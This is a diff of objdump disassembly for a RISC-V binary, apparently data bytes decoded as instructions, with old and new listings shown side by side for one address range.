-    1abe:	ac02                	fsd	ft0,24(sp)
-    1ac0:	0500006f          	j	1b10 <__stack_size+0x1310>
-    1ac4:	02f8                	addi	a4,sp,332
-    1ac6:	00005b6f          	jal	s6,6ac6 <__stack_size+0x62c6>
-    1aca:	f905                	bnez	a0,19fa <__stack_size+0x11fa>
-    1acc:	9d02                	jalr	s10
-    1ace:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
-    1ad2:	02fa                	slli	t0,t0,0x1e
-    1ad4:	87e0                	0x87e0
+    1abc:	f905                	bnez	a0,19ec <__stack_size+0x11ec>
+    1abe:	0d02                	c.slli64	s10
+    1ac0:	0068                	addi	a0,sp,12
+    1ac2:	0500                	addi	s0,sp,640
+    1ac4:	02fa                	slli	t0,t0,0x1e
+    1ac6:	00008883          	lb	a7,0(ra) # 144c <__stack_size+0xc4c>
+    1aca:	fb05                	bnez	a4,19fa <__stack_size+0x11fa>
+    1acc:	b702                	fsd	ft0,424(sp)
+    1ace:	0086                	slli	ra,ra,0x1
+    1ad0:	0500                	addi	s0,sp,640
+    1ad2:	02fc                	addi	a5,sp,332
+    1ad4:	0d8d                	addi	s11,s11,3
     1ad6:	0000                	unimp
-    1ad8:	fb05                	bnez	a4,1a08 <__stack_size+0x1208>
-    1ada:	1402                	slli	s0,s0,0x20
-    1adc:	0086                	slli	ra,ra,0x1
+    1ad8:	fd05                	bnez	a0,1a10 <__stack_size+0x1210>
+    1ada:	0302                	c.slli64	t1
+    1adc:	003a                	c.slli	zero,0xe
     1ade:	0500                	addi	s0,sp,640
-    1ae0:	02fc                	addi	a5,sp,332
-    1ae2:	00000dd3          	fadd.s	fs11,ft0,ft0,rne
-    1ae6:	fd05                	bnez	a0,1a1e <__stack_size+0x121e>
-    1ae8:	1002                	c.slli	zero,0x20
-    1aea:	0039                	c.nop	14
+    1ae0:	02fe                	slli	t0,t0,0x1f
+    1ae2:	62a9                	lui	t0,0xa
+    1ae4:	0000                	unimp
+    1ae6:	ff05                	bnez	a4,1a1e <__stack_size+0x121e>
+    1ae8:	5902                	lw	s2,32(sp)
+    1aea:	0052                	c.slli	zero,0x14
     1aec:	0500                	addi	s0,sp,640
-    1aee:	02fe                	slli	t0,t0,0x1f
-    1af0:	61ac                	flw	fa1,64(a1)
+    1aee:	0380                	addi	s0,sp,448
+    1af0:	7441                	lui	s0,0xffff0
     1af2:	0000                	unimp
-    1af4:	ff05                	bnez	a4,1a2c <__stack_size+0x122c>
-    1af6:	c802                	sw	zero,16(sp)
-    1af8:	0500000f          	fence	ow,unknown
-    1afc:	0380                	addi	s0,sp,448
-    1afe:	73a6                	flw	ft7,104(sp)
+    1af4:	8105                	srli	a0,a0,0x1
+    1af6:	002e9003          	lh	zero,2(t4) # fffff002 <_heap_end+0x7fff0802>
+    1afa:	0500                	addi	s0,sp,640
+    1afc:	0382                	c.slli64	t2
+    1afe:	3c21                	jal	1516 <__stack_size+0xd16>
     1b00:	0000                	unimp
-    1b02:	8105                	srli	a0,a0,0x1
-    1b04:	002d7b03          	0x2d7b03
+    1b02:	8305                	srli	a4,a4,0x1
+    1b04:	000bbe03          	0xbbe03
     1b08:	0500                	addi	s0,sp,640
-    1b0a:	0382                	c.slli64	t2
-    1b0c:	3b14                	fld	fa3,48(a4)
+    1b0a:	0384                	addi	s1,sp,448
+    1b0c:	3b4a                	fld	fs6,176(sp)
     1b0e:	0000                	unimp
-    1b10:	8305                	srli	a4,a4,0x1
-    1b12:	000c3003          	0xc3003
+    1b10:	8505                	srai	a0,a0,0x1
+    1b12:	00247903          	0x247903
     1b16:	0500                	addi	s0,sp,640
-    1b18:	0384                	addi	s1,sp,448
-    1b1a:	3a34                	fld	fa3,112(a2)
+    1b18:	0386                	slli	t2,t2,0x1
+    1b1a:	24be                	fld	fs1,456(sp)
     1b1c:	0000                	unimp
-    1b1e:	8505                	srai	a0,a0,0x1
-    1b20:	0023cd03          	lbu	s10,2(t2)
+    1b1e:	8705                	srai	a4,a4,0x1
+    1b20:	003b0303          	lb	t1,3(s6) # fffe1003 <_heap_end+0x7ffd2803>
     1b24:	0500                	addi	s0,sp,640
-    1b26:	0386                	slli	t2,t2,0x1
-    1b28:	000020db          	0x20db
-    1b2c:	8705                	srai	a4,a4,0x1
-    1b2e:	0039fd03          	0x39fd03
+    1b26:	0388                	addi	a0,sp,448
+    1b28:	047e                	slli	s0,s0,0x1f
+    1b2a:	0000                	unimp
+    1b2c:	8905                	andi	a0,a0,1
+    1b2e:	006c8f03          	lb	t5,6(s9)
     1b32:	0500                	addi	s0,sp,640
-    1b34:	0388                	addi	a0,sp,448
-    1b36:	04fe                	slli	s1,s1,0x1f
+    1b34:	316b038b          	0x316b038b
     1b38:	0000                	unimp
-    1b3a:	8905                	andi	a0,a0,1
-    1b3c:	006bf103          	0x6bf103
+    1b3a:	8c05                	sub	s0,s0,s1
+    1b3c:	00783a03          	0x783a03
     1b40:	0500                	addi	s0,sp,640
-    1b42:	3077038b          	0x3077038b
+    1b42:	038d                	addi	t2,t2,3
+    1b44:	7d75                	lui	s10,0xffffd
     1b46:	0000                	unimp
-    1b48:	8c05                	sub	s0,s0,s1
-    1b4a:	00779d03          	lh	s10,7(a5) # 11007 <__stack_size+0x10807>
+    1b48:	8e05                	sub	a2,a2,s1
+    1b4a:	0006f303          	0x6f303
     1b4e:	0500                	addi	s0,sp,640
-    1b50:	038d                	addi	t2,t2,3
-    1b52:	7cf2                	flw	fs9,60(sp)
+    1b50:	2902038f          	0x2902038f
     1b54:	0000                	unimp
-    1b56:	8e05                	sub	a2,a2,s1
-    1b58:	00073303          	0x73303
+    1b56:	9005                	srli	s0,s0,0x21
+    1b58:	00831103          	lh	sp,8(t1) # fffe0008 <_heap_end+0x7ffd1808>
     1b5c:	0500                	addi	s0,sp,640
-    1b5e:	283e038f          	0x283e038f
+    1b5e:	0391                	addi	t2,t2,4
+    1b60:	56ee                	lw	a3,248(sp)
     1b62:	0000                	unimp
-    1b64:	9005                	srli	s0,s0,0x21
-    1b66:	00828b03          	lb	s6,8(t0)
+    1b64:	9205                	srli	a2,a2,0x21
+    1b66:	006def03          	0x6def03
     1b6a:	0500                	addi	s0,sp,640
-    1b6c:	0391                	addi	t2,t2,4
-    1b6e:	55c0                	lw	s0,44(a1)
+    1b6c:	9feb0393          	addi	t2,s6,-1538
     1b70:	0000                	unimp
-    1b72:	9205                	srli	a2,a2,0x21
-    1b74:	006d5103          	lhu	sp,6(s10) # 9756 <__stack_size+0x8f56>
+    1b72:	9405                	srai	s0,s0,0x21
+    1b74:	00986203          	0x986203
     1b78:	0500                	addi	s0,sp,640
-    1b7a:	9fb30393          	addi	t2,t1,-1541 # fffe09fb <_heap_end+0x7ffd21fb>
-    1b7e:	0000                	unimp
-    1b80:	9405                	srai	s0,s0,0x21
-    1b82:	0097b303          	0x97b303
+    1b7a:	0395                	addi	t2,t2,5
+    1b7c:	00000b73          	0xb73
+    1b80:	9605                	srai	a2,a2,0x21
+    1b82:	002fc403          	lbu	s0,2(t6)
     1b86:	0500                	addi	s0,sp,640
-    1b88:	0395                	addi	t2,t2,5
-    1b8a:	00000beb          	0xbeb
-    1b8e:	9605                	srai	a2,a2,0x21
-    1b90:	002ed003          	lhu	zero,2(t4)
+    1b88:	55330397          	auipc	t2,0x55330
+    1b8c:	0000                	unimp
+    1b8e:	9805                	andi	s0,s0,-31
+    1b90:	00583a03          	0x583a03
     1b94:	0500                	addi	s0,sp,640
-    1b96:	53f70397          	auipc	t2,0x53f70
-    1b9a:	0000                	unimp
-    1b9c:	9805                	andi	s0,s0,-31
-    1b9e:	0056fd03          	0x56fd03
+    1b96:	0399                	addi	t2,t2,6
+    1b98:	0000759b          	0x759b
+    1b9c:	9a05                	andi	a2,a2,-31
+    1b9e:	0016a603          	lw	a2,1(a3) # 2cf3174f <_data_lma+0xcb2d22f>
     1ba2:	0500                	addi	s0,sp,640
-    1ba4:	0399                	addi	t2,t2,6
-    1ba6:	7500                	flw	fs0,40(a0)
+    1ba4:	9c61039b          	0x9c61039b
     1ba8:	0000                	unimp
-    1baa:	9a05                	andi	a2,a2,-31
-    1bac:	00175703          	lhu	a4,1(a4) # fffef001 <_heap_end+0x7ffe0801>
+    1baa:	9c05                	0x9c05
+    1bac:	00622c03          	lw	s8,6(tp) # 1006 <__stack_size+0x806>
     1bb0:	0500                	addi	s0,sp,640
-    1bb2:	9be4039b          	0x9be4039b
+    1bb2:	039d                	addi	t2,t2,7
+    1bb4:	1e79                	addi	t3,t3,-2
     1bb6:	0000                	unimp
-    1bb8:	9c05                	0x9c05
-    1bba:	00612f03          	lw	t5,6(sp)
+    1bb8:	9e05                	0x9e05
+    1bba:	009d3603          	0x9d3603
     1bbe:	0500                	addi	s0,sp,640
-    1bc0:	039d                	addi	t2,t2,7
-    1bc2:	44be                	lw	s1,204(sp)
-    1bc4:	0000                	unimp
-    1bc6:	9e05                	0x9e05
-    1bc8:	009cb903          	0x9cb903
+    1bc0:	039f 5ced 0000      	0x5ced039f
+    1bc6:	a005                	j	1be6 <__stack_size+0x13e6>
+    1bc8:	00543503          	0x543503
     1bcc:	0500                	addi	s0,sp,640
-    1bce:	039f 5be3 0000      	0x5be3039f
-    1bd4:	a005                	j	1bf4 <__stack_size+0x13f4>
-    1bd6:	00070203          	lb	tp,0(a4)
+    1bce:	03a1                	addi	t2,t2,8
+    1bd0:	4fe8                	lw	a0,92(a5)
+    1bd2:	0000                	unimp
+    1bd4:	a205                	j	1cf4 <__stack_size+0x14f4>
+    1bd6:	00942c03          	lw	s8,9(s0) # ffff0009 <_heap_end+0x7ffe1809>
     1bda:	0500                	addi	s0,sp,640
-    1bdc:	03a1                	addi	t2,t2,8
-    1bde:	00004eeb          	0x4eeb
-    1be2:	a205                	j	1d02 <__stack_size+0x1502>
-    1be4:	00939203          	lh	tp,9(t2) # 53f71b9f <_data_lma+0x33b6bbbf>
+    1bdc:	15a403a3          	sb	s10,327(s0)
+    1be0:	0000                	unimp
+    1be2:	a405                	j	1e02 <__stack_size+0x1602>
+    1be4:	00237e03          	0x237e03
     1be8:	0500                	addi	s0,sp,640
-    1bea:	165503a3          	sb	t0,359(a0) # fffe1167 <_heap_end+0x7ffd2967>
+    1bea:	03a5                	addi	t2,t2,9
+    1bec:	7a0d                	lui	s4,0xfffe3
     1bee:	0000                	unimp
-    1bf0:	a405                	j	1e10 <__stack_size+0x1610>
-    1bf2:	0022cd03          	lbu	s10,2(t0)
+    1bf0:	a605                	j	1f10 <__stack_size+0x1710>
+    1bf2:	00472e03          	lw	t3,4(a4) # fffe2004 <_heap_end+0x7ffd3804>
     1bf6:	0500                	addi	s0,sp,640
-    1bf8:	03a5                	addi	t2,t2,9
-    1bfa:	7994                	flw	fa3,48(a1)
+    1bf8:	864403a7          	0x864403a7
     1bfc:	0000                	unimp
-    1bfe:	a605                	j	1f1e <__stack_size+0x171e>
-    1c00:	00462103          	lw	sp,4(a2) # fffe1004 <_heap_end+0x7ffd2804>
+    1bfe:	a805                	j	1c2e <__stack_size+0x142e>
+    1c00:	005d8c03          	lb	s8,5(s11)
     1c04:	0500                	addi	s0,sp,640
-    1c06:	85c803a7          	0x85c803a7
-    1c0a:	0000                	unimp
-    1c0c:	a805                	j	1c3c <__stack_size+0x143c>
-    1c0e:	005c8c03          	lb	s8,5(s9)
+    1c06:	03a9                	addi	t2,t2,10
+    1c08:	00001137          	lui	sp,0x1
+    1c0c:	aa05                	j	1d3c <__stack_size+0x153c>
+    1c0e:	00625503          	lhu	a0,6(tp) # 6 <__stack_size-0x7fa>
     1c12:	0500                	addi	s0,sp,640
-    1c14:	03a9                	addi	t2,t2,10
-    1c16:	000011a3          	sh	zero,3(zero) # 3 <__stack_size-0x7fd>
-    1c1a:	aa05                	j	1d4a <__stack_size+0x154a>
-    1c1c:	00615803          	lhu	a6,6(sp)
+    1c14:	005c03ab          	0x5c03ab
+    1c18:	0000                	unimp
+    1c1a:	ac05                	j	1e4a <__stack_size+0x164a>
+    1c1c:	0078ca03          	lbu	s4,7(a7) # fffe3007 <_heap_end+0x7ffd4807>
     1c20:	0500                	addi	s0,sp,640
-    1c22:	005c03ab          	0x5c03ab
+    1c22:	03ad                	addi	t2,t2,11
+    1c24:	2439                	jal	1e32 <__stack_size+0x1632>
     1c26:	0000                	unimp
-    1c28:	ac05                	j	1e58 <__stack_size+0x1658>
-    1c2a:	00450e03          	lb	t3,4(a0)
+    1c28:	ae05                	j	1f58 <__stack_size+0x1758>
+    1c2a:	002df703          	0x2df703
     1c2e:	0500                	addi	s0,sp,640
-    1c30:	03ad                	addi	t2,t2,11
-    1c32:	238d                	jal	2194 <__stack_size+0x1994>
+    1c30:	3b2003af          	0x3b2003af
     1c34:	0000                	unimp
-    1c36:	ae05                	j	1f66 <__stack_size+0x1766>
-    1c38:	002ce203          	0x2ce203
+    1c36:	b005                	j	1456 <__stack_size+0xc56>
+    1c38:	0046a503          	lw	a0,4(a3)
     1c3c:	0500                	addi	s0,sp,640
-    1c3e:	826103af          	0x826103af
+    1c3e:	03b1                	addi	t2,t2,12
+    1c40:	5c01                	li	s8,-32
     1c42:	0000                	unimp
-    1c44:	b005                	j	1464 <__stack_size+0xc64>
-    1c46:	00459803          	lh	a6,4(a1) # b004 <__stack_size+0xa804>
+    1c44:	b205                	j	1564 <__stack_size+0xd64>
+    1c46:	0052f403          	0x52f403
     1c4a:	0500                	addi	s0,sp,640
-    1c4c:	03b1                	addi	t2,t2,12
-    1c4e:	5ade                	lw	s5,244(sp)
+    1c4c:	037f03b3          	mul	t2,t5,s7
     1c50:	0000                	unimp
-    1c52:	b205                	j	1572 <__stack_size+0xd72>
-    1c54:	0051b203          	0x51b203
+    1c52:	b405                	j	1672 <__stack_size+0xe72>
+    1c54:	008e2503          	lw	a0,8(t3)
     1c58:	0500                	addi	s0,sp,640
-    1c5a:	03f203b3          	mul	t2,tp,t6
-    1c5e:	0000                	unimp
-    1c60:	b405                	j	1680 <__stack_size+0xe80>
-    1c62:	008d7203          	0x8d7203
+    1c5a:	03b5                	addi	t2,t2,13
+    1c5c:	0000818f          	0x818f
+    1c60:	b605                	j	1780 <__stack_size+0xf80>
+    1c62:	0089e903          	0x89e903
     1c66:	0500                	addi	s0,sp,640
-    1c68:	03b5                	addi	t2,t2,13
-    1c6a:	810c                	0x810c
+    1c68:	728e03b7          	lui	t2,0x728e0
     1c6c:	0000                	unimp
-    1c6e:	b605                	j	178e <__stack_size+0xf8e>
-    1c70:	00894603          	lbu	a2,8(s2) # 6ff008 <__stack_size+0x6fe808>
+    1c6e:	b805                	j	149e <__stack_size+0xc9e>
+    1c70:	00420d03          	lb	s10,4(tp) # 4 <__stack_size-0x7fc>
     1c74:	0500                	addi	s0,sp,640
-    1c76:	720d03b7          	lui	t2,0x720d0
-    1c7a:	0000                	unimp
-    1c7c:	b805                	j	14ac <__stack_size+0xcac>
-    1c7e:	00410203          	lb	tp,4(sp)
+    1c76:	03b9                	addi	t2,t2,14
+    1c78:	00007a1b          	0x7a1b
+    1c7c:	ba05                	j	15ac <__stack_size+0xdac>
+    1c7e:	00118503          	lb	a0,1(gp) # 87d70001 <_heap_end+0x7d61801>
     1c82:	0500                	addi	s0,sp,640
-    1c84:	03b9                	addi	t2,t2,14
-    1c86:	79a2                	flw	fs3,40(sp)
+    1c84:	19a503bb          	0x19a503bb
     1c88:	0000                	unimp
-    1c8a:	ba05                	j	15ba <__stack_size+0xdba>
-    1c8c:	0011f103          	0x11f103
+    1c8a:	bc05                	j	16ba <__stack_size+0xeba>
+    1c8c:	0070d703          	lhu	a4,7(ra)
     1c90:	0500                	addi	s0,sp,640
-    1c92:	1a5603bb          	0x1a5603bb
+    1c92:	03bd                	addi	t2,t2,15
+    1c94:	102d                	c.nop	-21
     1c96:	0000                	unimp
-    1c98:	bc05                	j	16c8 <__stack_size+0xec8>
-    1c9a:	00705603          	lhu	a2,7(zero) # 7 <__stack_size-0x7f9>
+    1c98:	be05                	j	17c8 <__stack_size+0xfc8>
+    1c9a:	001f8b03          	lb	s6,1(t6)
     1c9e:	0500                	addi	s0,sp,640
-    1ca0:	03bd                	addi	t2,t2,15
-    1ca2:	1078                	addi	a4,sp,44
-    1ca4:	0000                	unimp
-    1ca6:	be05                	j	17d6 <__stack_size+0xfd6>
-    1ca8:	001f5503          	lhu	a0,1(t5) # ffff2001 <_heap_end+0x7ffe3801>
+    1ca0:	756003bf c0050000 	0xc0050000756003bf
+    1ca8:	006c3603          	0x6c3603
     1cac:	0500                	addi	s0,sp,640
-    1cae:	74c503bf c0050000 	0xc005000074c503bf
-    1cb6:	006b9403          	lh	s0,6(s7) # fffea006 <_heap_end+0x7ffdb806>
+    1cae:	03c1                	addi	t2,t2,16
+    1cb0:	7d2c                	flw	fa1,120(a0)
+    1cb2:	0000                	unimp
+    1cb4:	c205                	beqz	a2,1cd4 <__stack_size+0x14d4>
+    1cb6:	002e7903          	0x2e7903
     1cba:	0500                	addi	s0,sp,640
-    1cbc:	03c1                	addi	t2,t2,16
-    1cbe:	7ca2                	flw	fs9,40(sp)
+    1cbc:	45e703c3          	0x45e703c3
     1cc0:	0000                	unimp
-    1cc2:	c205                	beqz	a2,1ce2 <__stack_size+0x14e2>
-    1cc4:	002d6403          	0x2d6403
+    1cc2:	c405                	beqz	s0,1cea <__stack_size+0x14ea>
+    1cc4:	0050ac03          	lw	s8,5(ra)
     1cc8:	0500                	addi	s0,sp,640
-    1cca:	44e603c3          	0x44e603c3
+    1cca:	03c5                	addi	t2,t2,17
+    1ccc:	4380                	lw	s0,0(a5)
     1cce:	0000                	unimp
-    1cd0:	c405                	beqz	s0,1cf8 <__stack_size+0x14f8>
-    1cd2:	004fa303          	lw	t1,4(t6) # ffff8004 <_heap_end+0x7ffe9804>
+    1cd0:	c605                	beqz	a2,1cf8 <__stack_size+0x14f8>
+    1cd2:	0039be03          	0x39be03
     1cd6:	0500                	addi	s0,sp,640
-    1cd8:	03c5                	addi	t2,t2,17
-    1cda:	4281                	li	t0,0
+    1cd8:	345003c7          	0x345003c7
     1cdc:	0000                	unimp
-    1cde:	c605                	beqz	a2,1d06 <__stack_size+0x1506>
-    1ce0:	0038cb03          	lbu	s6,3(a7) # 8003 <__stack_size+0x7803>
+    1cde:	c805                	beqz	s0,1d0e <__stack_size+0x150e>
+    1ce0:	000abf03          	0xabf03
     1ce4:	0500                	addi	s0,sp,640
-    1ce6:	337003c7          	fmsub.d	ft7,ft0,fs7,ft6,rne
+    1ce6:	03c9                	addi	t2,t2,18
+    1ce8:	44b5                	li	s1,13
     1cea:	0000                	unimp
-    1cec:	c805                	beqz	s0,1d1c <__stack_size+0x151c>
-    1cee:	000b3703          	0xb3703
+    1cec:	ca05                	beqz	a2,1d1c <__stack_size+0x151c>
+    1cee:	0060fc03          	0x60fc03
     1cf2:	0500                	addi	s0,sp,640
-    1cf4:	03c9                	addi	t2,t2,18
-    1cf6:	43b6                	lw	t2,76(sp)
+    1cf4:	792f03cb          	fnmsub.s	ft7,ft10,fs2,fa5,rne
     1cf8:	0000                	unimp
-    1cfa:	ca05                	beqz	a2,1d2a <__stack_size+0x152a>
-    1cfc:	005fff03          	0x5fff03
+    1cfa:	cc05                	beqz	s0,1d32 <__stack_size+0x1532>
+    1cfc:	003f5203          	lhu	tp,3(t5) # 1af003 <__stack_size+0x1ae803>
     1d00:	0500                	addi	s0,sp,640
-    1d02:	788703cb          	fnmsub.s	ft7,fa4,fs0,fa5,rne
-    1d06:	0000                	unimp
-    1d08:	cc05                	beqz	s0,1d40 <__stack_size+0x1540>
-    1d0a:	003e4703          	lbu	a4,3(t3) # 3003 <__stack_size+0x2803>
+    1d02:	03cd                	addi	t2,t2,19
+    1d04:	681f 0000 ce05      	0xce050000681f
+    1d0a:	0078f203          	0x78f203
     1d0e:	0500                	addi	s0,sp,640
-    1d10:	03cd                	addi	t2,t2,19
-    1d12:	000067af          	0x67af
-    1d16:	ce05                	beqz	a2,1d4e <__stack_size+0x154e>
-    1d18:	00784a03          	lbu	s4,7(a6) # 16007 <__stack_size+0x15807>
+    1d10:	912e03cf          	fnmadd.s	ft7,ft8,fs2,fs2,rne
+    1d14:	0000                	unimp
+    1d16:	d005                	beqz	s0,1c36 <__stack_size+0x1436>
+    1d18:	004a5803          	lhu	a6,4(s4) # fffe3004 <_heap_end+0x7ffd4804>
     1d1c:	0500                	addi	s0,sp,640
-    1d1e:	906103cf          	fnmadd.s	ft7,ft2,ft6,fs2,rne
+    1d1e:	03d1                	addi	t2,t2,20
+    1d20:	5b8e                	lw	s7,224(sp)
     1d22:	0000                	unimp
-    1d24:	d005                	beqz	s0,1c44 <__stack_size+0x1444>
-    1d26:	00491903          	lh	s2,4(s2)
+    1d24:	d205                	beqz	a2,1c44 <__stack_size+0x1444>
+    1d26:	00210203          	lb	tp,2(sp) # 1002 <__stack_size+0x802>
     1d2a:	0500                	addi	s0,sp,640
-    1d2c:	03d1                	addi	t2,t2,20
-    1d2e:	5a72                	lw	s4,60(sp)
+    1d2c:	8d2b03d3          	0x8d2b03d3
     1d30:	0000                	unimp
-    1d32:	d205                	beqz	a2,1c52 <__stack_size+0x1452>
-    1d34:	00206e03          	0x206e03
+    1d32:	d405                	beqz	s0,1c5a <__stack_size+0x145a>
+    1d34:	00319f03          	lh	t5,3(gp) # 8000e063 <__global_pointer$+0x3>
     1d38:	0500                	addi	s0,sp,640
-    1d3a:	8c7803d3          	0x8c7803d3
+    1d3a:	03d5                	addi	t2,t2,21
+    1d3c:	4a6c                	lw	a1,84(a2)
     1d3e:	0000                	unimp
-    1d40:	d405                	beqz	s0,1c68 <__stack_size+0x1468>
-    1d42:	0030ab03          	lw	s6,3(ra) # 500197f <__stack_size+0x500117f>
+    1d40:	d605                	beqz	a2,1c68 <__stack_size+0x1468>
+    1d42:	0098a003          	lw	zero,9(a7)
     1d46:	0500                	addi	s0,sp,640
-    1d48:	03d5                	addi	t2,t2,21
-    1d4a:	492d                	li	s2,11
+    1d48:	4f4703d7          	0x4f4703d7
     1d4c:	0000                	unimp
-    1d4e:	d605                	beqz	a2,1c76 <__stack_size+0x1476>
-    1d50:	0097fd03          	0x97fd03
+    1d4e:	d805                	beqz	s0,1c7e <__stack_size+0x147e>
+    1d50:	003ee203          	0x3ee203
     1d54:	0500                	addi	s0,sp,640
-    1d56:	4e4a03d7          	0x4e4a03d7
-    1d5a:	0000                	unimp
-    1d5c:	d805                	beqz	s0,1c8c <__stack_size+0x148c>
-    1d5e:	003dd703          	lhu	a4,3(s11) # 1003 <__stack_size+0x803>
+    1d56:	03d9                	addi	t2,t2,22
+    1d58:	000017a3          	sh	zero,15(zero) # f <__stack_size-0x7f1>
+    1d5c:	da05                	beqz	a2,1c8c <__stack_size+0x148c>
+    1d5e:	009a6803          	0x9a6803
     1d62:	0500                	addi	s0,sp,640
-    1d64:	03d9                	addi	t2,t2,22
-    1d66:	1854                	addi	a3,sp,52
+    1d64:	236503db          	0x236503db
     1d68:	0000                	unimp
-    1d6a:	da05                	beqz	a2,1c9a <__stack_size+0x149a>
-    1d6c:	0099ba03          	0x99ba03
+    1d6a:	dc05                	beqz	s0,1ca2 <__stack_size+0x14a2>
+    1d6c:	003a1903          	lh	s2,3(s4)
     1d70:	0500                	addi	s0,sp,640
-    1d72:	22b403db          	0x22b403db
+    1d72:	03dd                	addi	t2,t2,23
+    1d74:	626c                	flw	fa1,68(a2)
     1d76:	0000                	unimp
-    1d78:	dc05                	beqz	s0,1cb0 <__stack_size+0x14b0>
-    1d7a:	00392603          	lw	a2,3(s2)
+    1d78:	de05                	beqz	a2,1cb0 <__stack_size+0x14b0>
+    1d7a:	007d9203          	lh	tp,7(s11)
     1d7e:	0500                	addi	s0,sp,640
-    1d80:	03dd                	addi	t2,t2,23
-    1d82:	0000616f          	jal	sp,7d82 <__stack_size+0x7582>
-    1d86:	de05                	beqz	a2,1cbe <__stack_size+0x14be>
-    1d88:	007d0f03          	lb	t5,7(s10)
+    1d80:	03df 7da4 0000      	0x7da403df
+    1d86:	e005                	bnez	s0,1da6 <__stack_size+0x15a6>
+    1d88:	00717a03          	0x717a03
     1d8c:	0500                	addi	s0,sp,640
-    1d8e:	03df 7d21 0000      	0x7d2103df
-    1d94:	e005                	bnez	s0,1db4 <__stack_size+0x15b4>
-    1d96:	0070f903          	0x70f903
+    1d8e:	03e1                	addi	t2,t2,24
+    1d90:	0710                	addi	a2,sp,896
+    1d92:	0000                	unimp
+    1d94:	e205                	bnez	a2,1db4 <__stack_size+0x15b4>
+    1d96:	002c5703          	lhu	a4,2(s8) # 1002 <__stack_size+0x802>
     1d9a:	0500                	addi	s0,sp,640
-    1d9c:	03e1                	addi	t2,t2,24
-    1d9e:	0750                	addi	a2,sp,900
+    1d9c:	9e2103e3          	beq	sp,sp,1782 <__stack_size+0xf82>
     1da0:	0000                	unimp
-    1da2:	e205                	bnez	a2,1dc2 <__stack_size+0x15c2>
-    1da4:	002b8c03          	lb	s8,2(s7)
+    1da2:	e405                	bnez	s0,1dca <__stack_size+0x15ca>
+    1da4:	00217c03          	0x217c03
     1da8:	0500                	addi	s0,sp,640
-    1daa:	9dcc03e3          	beq	s8,t3,1770 <__stack_size+0xf70>
-    1dae:	0000                	unimp
-    1db0:	e405                	bnez	s0,1dd8 <__stack_size+0x15d8>
-    1db2:	00210903          	lb	s2,2(sp)
+    1daa:	03e5                	addi	t2,t2,25
+    1dac:	0000254b          	fnmsub.s	fa0,ft0,ft0,ft0,rdn
+    1db0:	e605                	bnez	a2,1dd8 <__stack_size+0x15d8>
+    1db2:	00372f03          	lw	t5,3(a4)
     1db6:	0500                	addi	s0,sp,640
-    1db8:	03e5                	addi	t2,t2,25
-    1dba:	2492                	fld	fs1,256(sp)
+    1db8:	3a2a03e7          	jalr	t2,930(s4)
     1dbc:	0000                	unimp
-    1dbe:	e605                	bnez	a2,1de6 <__stack_size+0x15e6>
-    1dc0:	00366103          	0x366103
+    1dbe:	e805                	bnez	s0,1dee <__stack_size+0x15ee>
+    1dc0:	00508b03          	lb	s6,5(ra)
     1dc4:	0500                	addi	s0,sp,640
-    1dc6:	393703e7          	jalr	t2,915(a4)
-    1dca:	0000                	unimp
-    1dcc:	e805                	bnez	s0,1dfc <__stack_size+0x15fc>
-    1dce:	00334903          	lbu	s2,3(t1)
+    1dc6:	03e9                	addi	t2,t2,26
+    1dc8:	00000b47          	fmsub.s	fs6,ft0,ft0,ft0,rne
+    1dcc:	ea05                	bnez	a2,1dfc <__stack_size+0x15fc>
+    1dce:	0023e103          	0x23e103
     1dd2:	0500                	addi	s0,sp,640
-    1dd4:	03e9                	addi	t2,t2,26
-    1dd6:	00000bbf 3003ea05 	0x3003ea0500000bbf
-    1dde:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
-    1de2:	0b4d03eb          	0xb4d03eb
+    1dd4:	0ad503eb          	0xad503eb
+    1dd8:	0000                	unimp
+    1dda:	ec05                	bnez	s0,1e12 <__stack_size+0x1612>
+    1ddc:	00021b03          	lh	s6,0(tp) # 0 <__stack_size-0x800>
+    1de0:	0500                	addi	s0,sp,640
+    1de2:	03ed                	addi	t2,t2,27
+    1de4:	9f64                	0x9f64
     1de6:	0000                	unimp
-    1de8:	ec05                	bnez	s0,1e20 <__stack_size+0x1620>
-    1dea:	00025003          	lhu	zero,0(tp) # fffe1000 <_heap_end+0x7ffd2800>
+    1de8:	ee05                	bnez	a2,1e20 <__stack_size+0x1620>
+    1dea:	00299a03          	lh	s4,2(s3)
     1dee:	0500                	addi	s0,sp,640
-    1df0:	03ed                	addi	t2,t2,27
-    1df2:	9f02                	jalr	t5
+    1df0:	52d903ef          	jal	t2,92b1c <__stack_size+0x9231c>
     1df4:	0000                	unimp
-    1df6:	ee05                	bnez	a2,1e2e <__stack_size+0x162e>
-    1df8:	0028d603          	lhu	a2,2(a7)
+    1df6:	f005                	bnez	s0,1d16 <__stack_size+0x1516>
+    1df8:	00754203          	lbu	tp,7(a0)
     1dfc:	0500                	addi	s0,sp,640
-    1dfe:	519703ef          	jal	t2,72b16 <__stack_size+0x72316>
+    1dfe:	03f1                	addi	t2,t2,28
+    1e00:	111e                	slli	sp,sp,0x27
     1e02:	0000                	unimp
-    1e04:	f005                	bnez	s0,1d24 <__stack_size+0x1524>
-    1e06:	0074a703          	lw	a4,7(s1)
+    1e04:	f705                	bnez	a4,1d2c <__stack_size+0x152c>
+    1e06:	00378e03          	lb	t3,3(a5) # 17003 <__stack_size+0x16803>
     1e0a:	0500                	addi	s0,sp,640
-    1e0c:	03f1                	addi	t2,t2,28
-    1e0e:	118a                	slli	gp,gp,0x22
+    1e0c:	03f8                	addi	a4,sp,460
+    1e0e:	97bd                	srai	a5,a5,0x2f
     1e10:	0000                	unimp
-    1e12:	f705                	bnez	a4,1d3a <__stack_size+0x153a>
-    1e14:	0036c003          	lbu	zero,3(a3) # 2c28175f <_data_lma+0xbe7b77f>
+    1e12:	f905                	bnez	a0,1d42 <__stack_size+0x1542>
+    1e14:	0075b003          	0x75b003
     1e18:	0500                	addi	s0,sp,640
-    1e1a:	03f8                	addi	a4,sp,460
-    1e1c:	970e                	add	a4,a4,gp
+    1e1a:	03fa                	slli	t2,t2,0x1e
+    1e1c:	98ae                	add	a7,a7,a1
     1e1e:	0000                	unimp
-    1e20:	f905                	bnez	a0,1d50 <__stack_size+0x1550>
-    1e22:	00751503          	lh	a0,7(a0)
+    1e20:	fb05                	bnez	a4,1d50 <__stack_size+0x1550>
+    1e22:	0055f803          	0x55f803
     1e26:	0500                	addi	s0,sp,640
-    1e28:	03fa                	slli	t2,t2,0x1e
-    1e2a:	0000980b          	0x980b
-    1e2e:	fb05                	bnez	a4,1d5e <__stack_size+0x155e>
